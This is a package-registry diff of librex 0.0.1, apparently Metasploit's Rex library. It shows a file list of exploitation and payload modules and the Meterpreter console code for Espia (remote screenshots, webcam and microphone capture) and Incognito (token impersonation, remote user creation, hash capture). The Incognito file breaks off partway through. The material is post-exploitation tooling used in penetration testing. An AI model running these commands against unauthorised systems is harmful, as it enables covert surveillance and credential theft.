librex 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +4 -0
- data/lib/rex.rb +101 -0
- data/lib/rex.rb.ts.rb +70 -0
- data/lib/rex/LICENSE +29 -0
- data/lib/rex/arch.rb +103 -0
- data/lib/rex/arch/sparc.rb +75 -0
- data/lib/rex/arch/sparc.rb.ut.rb +18 -0
- data/lib/rex/arch/x86.rb +513 -0
- data/lib/rex/arch/x86.rb.ut.rb +93 -0
- data/lib/rex/assembly/nasm.rb +100 -0
- data/lib/rex/assembly/nasm.rb.ut.rb +22 -0
- data/lib/rex/codepage.map +104 -0
- data/lib/rex/compat.rb +281 -0
- data/lib/rex/constants.rb +113 -0
- data/lib/rex/elfparsey.rb +11 -0
- data/lib/rex/elfparsey/elf.rb +123 -0
- data/lib/rex/elfparsey/elfbase.rb +260 -0
- data/lib/rex/elfparsey/exceptions.rb +27 -0
- data/lib/rex/elfscan.rb +12 -0
- data/lib/rex/elfscan/scanner.rb +207 -0
- data/lib/rex/elfscan/search.rb +46 -0
- data/lib/rex/encoder/alpha2.rb +31 -0
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +68 -0
- data/lib/rex/encoder/alpha2/alpha_upper.rb +79 -0
- data/lib/rex/encoder/alpha2/generic.rb +113 -0
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +117 -0
- data/lib/rex/encoder/alpha2/unicode_upper.rb +129 -0
- data/lib/rex/encoder/ndr.rb +89 -0
- data/lib/rex/encoder/ndr.rb.ut.rb +44 -0
- data/lib/rex/encoder/nonalpha.rb +61 -0
- data/lib/rex/encoder/nonupper.rb +64 -0
- data/lib/rex/encoder/xdr.rb +106 -0
- data/lib/rex/encoder/xdr.rb.ut.rb +29 -0
- data/lib/rex/encoder/xor.rb +69 -0
- data/lib/rex/encoder/xor/dword.rb +13 -0
- data/lib/rex/encoder/xor/dword_additive.rb +13 -0
- data/lib/rex/encoders/xor_dword.rb +35 -0
- data/lib/rex/encoders/xor_dword_additive.rb +53 -0
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +12 -0
- data/lib/rex/encoding/xor.rb +20 -0
- data/lib/rex/encoding/xor.rb.ts.rb +14 -0
- data/lib/rex/encoding/xor/byte.rb +15 -0
- data/lib/rex/encoding/xor/byte.rb.ut.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb +21 -0
- data/lib/rex/encoding/xor/dword.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/dword_additive.rb +92 -0
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +15 -0
- data/lib/rex/encoding/xor/exceptions.rb +17 -0
- data/lib/rex/encoding/xor/generic.rb +146 -0
- data/lib/rex/encoding/xor/generic.rb.ut.rb +120 -0
- data/lib/rex/encoding/xor/qword.rb +15 -0
- data/lib/rex/encoding/xor/word.rb +21 -0
- data/lib/rex/encoding/xor/word.rb.ut.rb +13 -0
- data/lib/rex/exceptions.rb +275 -0
- data/lib/rex/exceptions.rb.ut.rb +44 -0
- data/lib/rex/exploitation/cmdstager.rb +133 -0
- data/lib/rex/exploitation/egghunter.rb +143 -0
- data/lib/rex/exploitation/egghunter.rb.ut.rb +25 -0
- data/lib/rex/exploitation/encryptjs.rb +77 -0
- data/lib/rex/exploitation/heaplib.js.b64 +331 -0
- data/lib/rex/exploitation/heaplib.rb +94 -0
- data/lib/rex/exploitation/javascriptosdetect.rb +735 -0
- data/lib/rex/exploitation/obfuscatejs.rb +335 -0
- data/lib/rex/exploitation/opcodedb.rb +818 -0
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +279 -0
- data/lib/rex/exploitation/seh.rb +92 -0
- data/lib/rex/exploitation/seh.rb.ut.rb +19 -0
- data/lib/rex/file.rb +84 -0
- data/lib/rex/file.rb.ut.rb +16 -0
- data/lib/rex/image_source.rb +12 -0
- data/lib/rex/image_source/disk.rb +60 -0
- data/lib/rex/image_source/image_source.rb +46 -0
- data/lib/rex/image_source/memory.rb +37 -0
- data/lib/rex/io/bidirectional_pipe.rb +157 -0
- data/lib/rex/io/datagram_abstraction.rb +35 -0
- data/lib/rex/io/stream.rb +313 -0
- data/lib/rex/io/stream_abstraction.rb +186 -0
- data/lib/rex/io/stream_server.rb +211 -0
- data/lib/rex/job_container.rb +202 -0
- data/lib/rex/logging.rb +4 -0
- data/lib/rex/logging/log_dispatcher.rb +179 -0
- data/lib/rex/logging/log_sink.rb +42 -0
- data/lib/rex/logging/sinks/flatfile.rb +55 -0
- data/lib/rex/logging/sinks/stderr.rb +43 -0
- data/lib/rex/machparsey.rb +9 -0
- data/lib/rex/machparsey/exceptions.rb +34 -0
- data/lib/rex/machparsey/mach.rb +209 -0
- data/lib/rex/machparsey/machbase.rb +408 -0
- data/lib/rex/machscan.rb +9 -0
- data/lib/rex/machscan/scanner.rb +217 -0
- data/lib/rex/mime.rb +9 -0
- data/lib/rex/mime/header.rb +75 -0
- data/lib/rex/mime/message.rb +112 -0
- data/lib/rex/mime/part.rb +20 -0
- data/lib/rex/nop/opty2.rb +108 -0
- data/lib/rex/nop/opty2.rb.ut.rb +23 -0
- data/lib/rex/nop/opty2_tables.rb +300 -0
- data/lib/rex/ole.rb +128 -0
- data/lib/rex/ole/clsid.rb +47 -0
- data/lib/rex/ole/difat.rb +141 -0
- data/lib/rex/ole/directory.rb +230 -0
- data/lib/rex/ole/direntry.rb +240 -0
- data/lib/rex/ole/fat.rb +99 -0
- data/lib/rex/ole/header.rb +204 -0
- data/lib/rex/ole/minifat.rb +77 -0
- data/lib/rex/ole/samples/create_ole.rb +27 -0
- data/lib/rex/ole/samples/dir.rb +35 -0
- data/lib/rex/ole/samples/dump_stream.rb +34 -0
- data/lib/rex/ole/samples/ole_info.rb +23 -0
- data/lib/rex/ole/storage.rb +395 -0
- data/lib/rex/ole/stream.rb +53 -0
- data/lib/rex/ole/substorage.rb +49 -0
- data/lib/rex/ole/util.rb +157 -0
- data/lib/rex/parser/arguments.rb +97 -0
- data/lib/rex/parser/arguments.rb.ut.rb +67 -0
- data/lib/rex/parser/ini.rb +185 -0
- data/lib/rex/parser/ini.rb.ut.rb +29 -0
- data/lib/rex/parser/nmap_xml.rb +111 -0
- data/lib/rex/payloads.rb +1 -0
- data/lib/rex/payloads/win32.rb +2 -0
- data/lib/rex/payloads/win32/common.rb +26 -0
- data/lib/rex/payloads/win32/kernel.rb +53 -0
- data/lib/rex/payloads/win32/kernel/common.rb +54 -0
- data/lib/rex/payloads/win32/kernel/migration.rb +12 -0
- data/lib/rex/payloads/win32/kernel/recovery.rb +50 -0
- data/lib/rex/payloads/win32/kernel/stager.rb +171 -0
- data/lib/rex/peparsey.rb +12 -0
- data/lib/rex/peparsey/exceptions.rb +32 -0
- data/lib/rex/peparsey/pe.rb +188 -0
- data/lib/rex/peparsey/pe_memdump.rb +63 -0
- data/lib/rex/peparsey/pebase.rb +1655 -0
- data/lib/rex/peparsey/section.rb +136 -0
- data/lib/rex/pescan.rb +13 -0
- data/lib/rex/pescan/analyze.rb +309 -0
- data/lib/rex/pescan/scanner.rb +206 -0
- data/lib/rex/pescan/search.rb +56 -0
- data/lib/rex/platforms.rb +1 -0
- data/lib/rex/platforms/windows.rb +51 -0
- data/lib/rex/poly.rb +132 -0
- data/lib/rex/poly/block.rb +468 -0
- data/lib/rex/poly/register.rb +100 -0
- data/lib/rex/poly/register/x86.rb +40 -0
- data/lib/rex/post.rb +8 -0
- data/lib/rex/post/dir.rb +51 -0
- data/lib/rex/post/file.rb +172 -0
- data/lib/rex/post/file_stat.rb +220 -0
- data/lib/rex/post/gen.pl +13 -0
- data/lib/rex/post/io.rb +182 -0
- data/lib/rex/post/meterpreter.rb +4 -0
- data/lib/rex/post/meterpreter/channel.rb +438 -0
- data/lib/rex/post/meterpreter/channel_container.rb +54 -0
- data/lib/rex/post/meterpreter/channels/pool.rb +160 -0
- data/lib/rex/post/meterpreter/channels/pools/file.rb +62 -0
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +103 -0
- data/lib/rex/post/meterpreter/channels/stream.rb +87 -0
- data/lib/rex/post/meterpreter/client.rb +335 -0
- data/lib/rex/post/meterpreter/client_core.rb +274 -0
- data/lib/rex/post/meterpreter/dependencies.rb +3 -0
- data/lib/rex/post/meterpreter/extension.rb +32 -0
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +58 -0
- data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +94 -0
- data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +118 -0
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +28 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +100 -0
- data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +24 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +333 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +273 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +235 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +103 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +48 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +144 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +73 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +137 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +167 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +192 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +139 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +184 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +61 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +129 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +55 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +336 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +141 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +279 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +182 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +102 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +174 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +185 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +227 -0
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +30 -0
- data/lib/rex/post/meterpreter/object_aliases.rb +83 -0
- data/lib/rex/post/meterpreter/packet.rb +596 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +409 -0
- data/lib/rex/post/meterpreter/packet_parser.rb +94 -0
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +83 -0
- data/lib/rex/post/meterpreter/ui/console.rb +135 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +62 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +595 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +241 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +61 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +98 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +51 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +132 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +63 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +376 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +270 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +484 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +315 -0
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +95 -0
- data/lib/rex/post/permission.rb +26 -0
- data/lib/rex/post/process.rb +57 -0
- data/lib/rex/post/thread.rb +57 -0
- data/lib/rex/post/ui.rb +52 -0
- data/lib/rex/proto.rb +12 -0
- data/lib/rex/proto.rb.ts.rb +8 -0
- data/lib/rex/proto/dcerpc.rb +6 -0
- data/lib/rex/proto/dcerpc.rb.ts.rb +9 -0
- data/lib/rex/proto/dcerpc/client.rb +358 -0
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +491 -0
- data/lib/rex/proto/dcerpc/exceptions.rb +150 -0
- data/lib/rex/proto/dcerpc/handle.rb +47 -0
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +85 -0
- data/lib/rex/proto/dcerpc/ndr.rb +72 -0
- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +41 -0
- data/lib/rex/proto/dcerpc/packet.rb +253 -0
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +56 -0
- data/lib/rex/proto/dcerpc/response.rb +186 -0
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +15 -0
- data/lib/rex/proto/dcerpc/uuid.rb +84 -0
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +46 -0
- data/lib/rex/proto/drda.rb +5 -0
- data/lib/rex/proto/drda.rb.ts.rb +17 -0
- data/lib/rex/proto/drda/constants.rb +49 -0
- data/lib/rex/proto/drda/constants.rb.ut.rb +23 -0
- data/lib/rex/proto/drda/packet.rb +252 -0
- data/lib/rex/proto/drda/packet.rb.ut.rb +109 -0
- data/lib/rex/proto/drda/utils.rb +123 -0
- data/lib/rex/proto/drda/utils.rb.ut.rb +84 -0
- data/lib/rex/proto/http.rb +5 -0
- data/lib/rex/proto/http.rb.ts.rb +12 -0
- data/lib/rex/proto/http/client.rb +817 -0
- data/lib/rex/proto/http/client.rb.ut.rb +93 -0
- data/lib/rex/proto/http/handler.rb +46 -0
- data/lib/rex/proto/http/handler/erb.rb +128 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +21 -0
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +1 -0
- data/lib/rex/proto/http/handler/proc.rb +54 -0
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +24 -0
- data/lib/rex/proto/http/header.rb +161 -0
- data/lib/rex/proto/http/header.rb.ut.rb +46 -0
- data/lib/rex/proto/http/packet.rb +394 -0
- data/lib/rex/proto/http/packet.rb.ut.rb +165 -0
- data/lib/rex/proto/http/request.rb +356 -0
- data/lib/rex/proto/http/request.rb.ut.rb +214 -0
- data/lib/rex/proto/http/response.rb +85 -0
- data/lib/rex/proto/http/response.rb.ut.rb +149 -0
- data/lib/rex/proto/http/server.rb +367 -0
- data/lib/rex/proto/http/server.rb.ut.rb +79 -0
- data/lib/rex/proto/smb.rb +7 -0
- data/lib/rex/proto/smb.rb.ts.rb +8 -0
- data/lib/rex/proto/smb/client.rb +1733 -0
- data/lib/rex/proto/smb/client.rb.ut.rb +223 -0
- data/lib/rex/proto/smb/constants.rb +1062 -0
- data/lib/rex/proto/smb/constants.rb.ut.rb +18 -0
- data/lib/rex/proto/smb/crypt.rb +95 -0
- data/lib/rex/proto/smb/crypt.rb.ut.rb +20 -0
- data/lib/rex/proto/smb/evasions.rb +65 -0
- data/lib/rex/proto/smb/exceptions.rb +846 -0
- data/lib/rex/proto/smb/simpleclient.rb +292 -0
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +128 -0
- data/lib/rex/proto/smb/utils.rb +514 -0
- data/lib/rex/proto/smb/utils.rb.ut.rb +20 -0
- data/lib/rex/proto/sunrpc.rb +1 -0
- data/lib/rex/proto/sunrpc/client.rb +195 -0
- data/lib/rex/script.rb +42 -0
- data/lib/rex/script/base.rb +59 -0
- data/lib/rex/script/meterpreter.rb +9 -0
- data/lib/rex/script/shell.rb +9 -0
- data/lib/rex/service.rb +48 -0
- data/lib/rex/service_manager.rb +141 -0
- data/lib/rex/service_manager.rb.ut.rb +32 -0
- data/lib/rex/services/local_relay.rb +423 -0
- data/lib/rex/socket.rb +586 -0
- data/lib/rex/socket.rb.ut.rb +86 -0
- data/lib/rex/socket/comm.rb +119 -0
- data/lib/rex/socket/comm/local.rb +409 -0
- data/lib/rex/socket/comm/local.rb.ut.rb +75 -0
- data/lib/rex/socket/ip.rb +129 -0
- data/lib/rex/socket/parameters.rb +345 -0
- data/lib/rex/socket/parameters.rb.ut.rb +51 -0
- data/lib/rex/socket/range_walker.rb +295 -0
- data/lib/rex/socket/range_walker.rb.ut.rb +55 -0
- data/lib/rex/socket/ssl_tcp.rb +184 -0
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +39 -0
- data/lib/rex/socket/ssl_tcp_server.rb +122 -0
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +51 -0
- data/lib/rex/socket/subnet_walker.rb +75 -0
- data/lib/rex/socket/subnet_walker.rb.ut.rb +28 -0
- data/lib/rex/socket/switch_board.rb +272 -0
- data/lib/rex/socket/switch_board.rb.ut.rb +52 -0
- data/lib/rex/socket/tcp.rb +76 -0
- data/lib/rex/socket/tcp.rb.ut.rb +64 -0
- data/lib/rex/socket/tcp_server.rb +67 -0
- data/lib/rex/socket/tcp_server.rb.ut.rb +44 -0
- data/lib/rex/socket/udp.rb +157 -0
- data/lib/rex/socket/udp.rb.ut.rb +44 -0
- data/lib/rex/struct2.rb +5 -0
- data/lib/rex/struct2/c_struct.rb +181 -0
- data/lib/rex/struct2/c_struct_template.rb +39 -0
- data/lib/rex/struct2/constant.rb +26 -0
- data/lib/rex/struct2/element.rb +44 -0
- data/lib/rex/struct2/generic.rb +73 -0
- data/lib/rex/struct2/restraint.rb +54 -0
- data/lib/rex/struct2/s_string.rb +72 -0
- data/lib/rex/struct2/s_struct.rb +111 -0
- data/lib/rex/sync.rb +6 -0
- data/lib/rex/sync/event.rb +94 -0
- data/lib/rex/sync/read_write_lock.rb +176 -0
- data/lib/rex/sync/ref.rb +57 -0
- data/lib/rex/sync/thread_safe.rb +82 -0
- data/lib/rex/test.rb +35 -0
- data/lib/rex/text.rb +1029 -0
- data/lib/rex/text.rb.ut.rb +168 -0
- data/lib/rex/time.rb +65 -0
- data/lib/rex/transformer.rb +115 -0
- data/lib/rex/transformer.rb.ut.rb +38 -0
- data/lib/rex/ui.rb +21 -0
- data/lib/rex/ui/interactive.rb +252 -0
- data/lib/rex/ui/output.rb +80 -0
- data/lib/rex/ui/output/none.rb +18 -0
- data/lib/rex/ui/progress_tracker.rb +96 -0
- data/lib/rex/ui/subscriber.rb +149 -0
- data/lib/rex/ui/text/color.rb +97 -0
- data/lib/rex/ui/text/color.rb.ut.rb +18 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +382 -0
- data/lib/rex/ui/text/input.rb +117 -0
- data/lib/rex/ui/text/input/buffer.rb +75 -0
- data/lib/rex/ui/text/input/readline.rb +129 -0
- data/lib/rex/ui/text/input/socket.rb +95 -0
- data/lib/rex/ui/text/input/stdio.rb +45 -0
- data/lib/rex/ui/text/irb_shell.rb +55 -0
- data/lib/rex/ui/text/output.rb +80 -0
- data/lib/rex/ui/text/output/buffer.rb +65 -0
- data/lib/rex/ui/text/output/file.rb +37 -0
- data/lib/rex/ui/text/output/socket.rb +43 -0
- data/lib/rex/ui/text/output/stdio.rb +40 -0
- data/lib/rex/ui/text/progress_tracker.rb +56 -0
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +34 -0
- data/lib/rex/ui/text/shell.rb +321 -0
- data/lib/rex/ui/text/table.rb +254 -0
- data/lib/rex/ui/text/table.rb.ut.rb +55 -0
- data/lib/rex/zip.rb +93 -0
- data/lib/rex/zip/archive.rb +91 -0
- data/lib/rex/zip/blocks.rb +182 -0
- data/lib/rex/zip/entry.rb +95 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- metadata +435 -0
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Ui
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# Espia - Capture audio, video, screenshots from the remote system
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
class Console::CommandDispatcher::Espia
|
|
14
|
+
|
|
15
|
+
Klass = Console::CommandDispatcher::Espia
|
|
16
|
+
|
|
17
|
+
include Console::CommandDispatcher
|
|
18
|
+
|
|
19
|
+
#
|
|
20
|
+
# Initializes an instance of the espia command interaction.
|
|
21
|
+
#
|
|
22
|
+
def initialize(shell)
|
|
23
|
+
super
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
#
|
|
27
|
+
# List of supported commands.
|
|
28
|
+
#
|
|
29
|
+
def commands
|
|
30
|
+
{
|
|
31
|
+
# "dev_image" => "Attempt to grab a frame from webcam",
|
|
32
|
+
# "dev_audio" => "Attempt to record microphone audio",
|
|
33
|
+
"screengrab" => "Attempt to grab screen shot from process's active desktop"
|
|
34
|
+
}
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
def cmd_dev_image()
|
|
38
|
+
client.espia.espia_video_get_dev_image()
|
|
39
|
+
print_line("[*] Done.")
|
|
40
|
+
|
|
41
|
+
return true
|
|
42
|
+
end
|
|
43
|
+
|
|
44
|
+
def cmd_dev_audio(*args)
|
|
45
|
+
maxrec = 60
|
|
46
|
+
|
|
47
|
+
if (args.length < 1)
|
|
48
|
+
print_line("Usage: dev_audio <rec_secs>\n")
|
|
49
|
+
print_line("Record mic audio\n")
|
|
50
|
+
return true
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
secs = args[0].to_i
|
|
54
|
+
if secs > 0 and secs <= maxrec
|
|
55
|
+
milsecs = secs*1000
|
|
56
|
+
print_line("[*] Recording #{milsecs} miliseconds.\n")
|
|
57
|
+
client.espia.espia_audio_get_dev_audio(milsecs)
|
|
58
|
+
print_line("[*] Done.")
|
|
59
|
+
else
|
|
60
|
+
print_line("[-] Error: Recording time 0 to 60 secs \n")
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
return true
|
|
64
|
+
end
|
|
65
|
+
|
|
66
|
+
#
|
|
67
|
+
# Grab a screenshot of the current interactive desktop.
|
|
68
|
+
#
|
|
69
|
+
def cmd_screengrab( *args )
|
|
70
|
+
if( args[0] and args[0] == "-h" )
|
|
71
|
+
print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
|
|
72
|
+
print_line("Grab a screenshot of the current interactive desktop.\n")
|
|
73
|
+
return true
|
|
74
|
+
end
|
|
75
|
+
|
|
76
|
+
show = true
|
|
77
|
+
show = false if (args[1] and args[1] =~ /^(f|n|0)/i)
|
|
78
|
+
|
|
79
|
+
path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
|
|
80
|
+
|
|
81
|
+
data = client.espia.espia_image_get_dev_screen
|
|
82
|
+
|
|
83
|
+
if( data )
|
|
84
|
+
::File.open( path, 'wb' ) do |fd|
|
|
85
|
+
fd.write( data )
|
|
86
|
+
end
|
|
87
|
+
path = ::File.expand_path( path )
|
|
88
|
+
print_line( "Screenshot saved to: #{path}" )
|
|
89
|
+
Rex::Compat.open_file( path ) if show
|
|
90
|
+
end
|
|
91
|
+
|
|
92
|
+
return true
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
#
|
|
96
|
+
# Name for this dispatcher
|
|
97
|
+
#
|
|
98
|
+
def name
|
|
99
|
+
"Espia"
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
end
|
|
105
|
+
end
|
|
106
|
+
end
|
|
107
|
+
end
|
|
108
|
+
|
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
require 'rex/post/meterpreter'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Post
|
|
5
|
+
module Meterpreter
|
|
6
|
+
module Ui
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# Privilege escalation extension user interface.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
class Console::CommandDispatcher::Incognito
|
|
14
|
+
|
|
15
|
+
Klass = Console::CommandDispatcher::Incognito
|
|
16
|
+
|
|
17
|
+
include Console::CommandDispatcher
|
|
18
|
+
|
|
19
|
+
#
|
|
20
|
+
# Initializes an instance of the priv command interaction.
|
|
21
|
+
#
|
|
22
|
+
def initialize(shell)
|
|
23
|
+
super
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
#
|
|
27
|
+
# List of supported commands.
|
|
28
|
+
#
|
|
29
|
+
def commands
|
|
30
|
+
{
|
|
31
|
+
"add_user" => "Attempt to add a user with all tokens",
|
|
32
|
+
"add_localgroup_user" => "Attempt to add a user to a local group with all tokens",
|
|
33
|
+
"add_group_user" => "Attempt to add a user to a global group with all tokens",
|
|
34
|
+
"list_tokens" => "List tokens available under current user context",
|
|
35
|
+
"impersonate_token" => "Impersonate specified token",
|
|
36
|
+
"snarf_hashes" => "Snarf challenge/response hashes for every token"
|
|
37
|
+
}
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
@@add_user_opts = Rex::Parser::Arguments.new(
|
|
42
|
+
"-h" => [ true, "Add user to remote host" ])
|
|
43
|
+
|
|
44
|
+
@@add_localgroup_user_opts = Rex::Parser::Arguments.new(
|
|
45
|
+
"-h" => [ true, "Add user to local group on remote host" ])
|
|
46
|
+
|
|
47
|
+
@@add_group_user_opts = Rex::Parser::Arguments.new(
|
|
48
|
+
"-h" => [ true, "Add user to global group on remote host" ])
|
|
49
|
+
|
|
50
|
+
@@list_tokens_opts = Rex::Parser::Arguments.new(
|
|
51
|
+
"-u" => [ false, "List tokens by unique username" ],
|
|
52
|
+
"-g" => [ false, "List tokens by unique groupname" ])
|
|
53
|
+
|
|
54
|
+
def cmd_list_tokens(*args)
|
|
55
|
+
token_order = -1
|
|
56
|
+
|
|
57
|
+
@@list_tokens_opts.parse(args) { |opt, idx, val|
|
|
58
|
+
case opt
|
|
59
|
+
when "-u"
|
|
60
|
+
token_order = 0
|
|
61
|
+
when "-g"
|
|
62
|
+
token_order = 1
|
|
63
|
+
end
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
if (token_order == -1)
|
|
67
|
+
print_line("Usage: list_tokens <list_order_option>\n")
|
|
68
|
+
print_line("Lists all accessible tokens and their privilege level")
|
|
69
|
+
print_line(@@list_tokens_opts.usage)
|
|
70
|
+
return
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
system_privilege_check
|
|
74
|
+
|
|
75
|
+
tokens = client.incognito.incognito_list_tokens(token_order)
|
|
76
|
+
|
|
77
|
+
print_line()
|
|
78
|
+
print_line("Delegation Tokens Available")
|
|
79
|
+
print_line("========================================")
|
|
80
|
+
|
|
81
|
+
tokens['delegation'].each_line { |string|
|
|
82
|
+
print(string)
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
print_line()
|
|
86
|
+
print_line("Impersonation Tokens Available")
|
|
87
|
+
print_line("========================================")
|
|
88
|
+
|
|
89
|
+
tokens['impersonation'].each_line { |string|
|
|
90
|
+
print(string)
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
print_line()
|
|
94
|
+
|
|
95
|
+
return true
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
def cmd_impersonate_token(*args)
|
|
99
|
+
if (args.length < 1)
|
|
100
|
+
print_line("Usage: impersonate_token <token>\n")
|
|
101
|
+
print_line("Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.\n")
|
|
102
|
+
print_line("Hint: Double backslash DOMAIN\\\\name (meterpreter quirk)")
|
|
103
|
+
print_line("Hint: Enclose with quotation marks if name contains a space\n")
|
|
104
|
+
return
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
system_privilege_check
|
|
108
|
+
username = args[0]
|
|
109
|
+
client.incognito.incognito_impersonate_token(username).each_line { |string|
|
|
110
|
+
print(string)
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
return true
|
|
114
|
+
end
|
|
115
|
+
|
|
116
|
+
def cmd_add_user(*args)
|
|
117
|
+
# Default to localhost
|
|
118
|
+
host = "127.0.0.1"
|
|
119
|
+
|
|
120
|
+
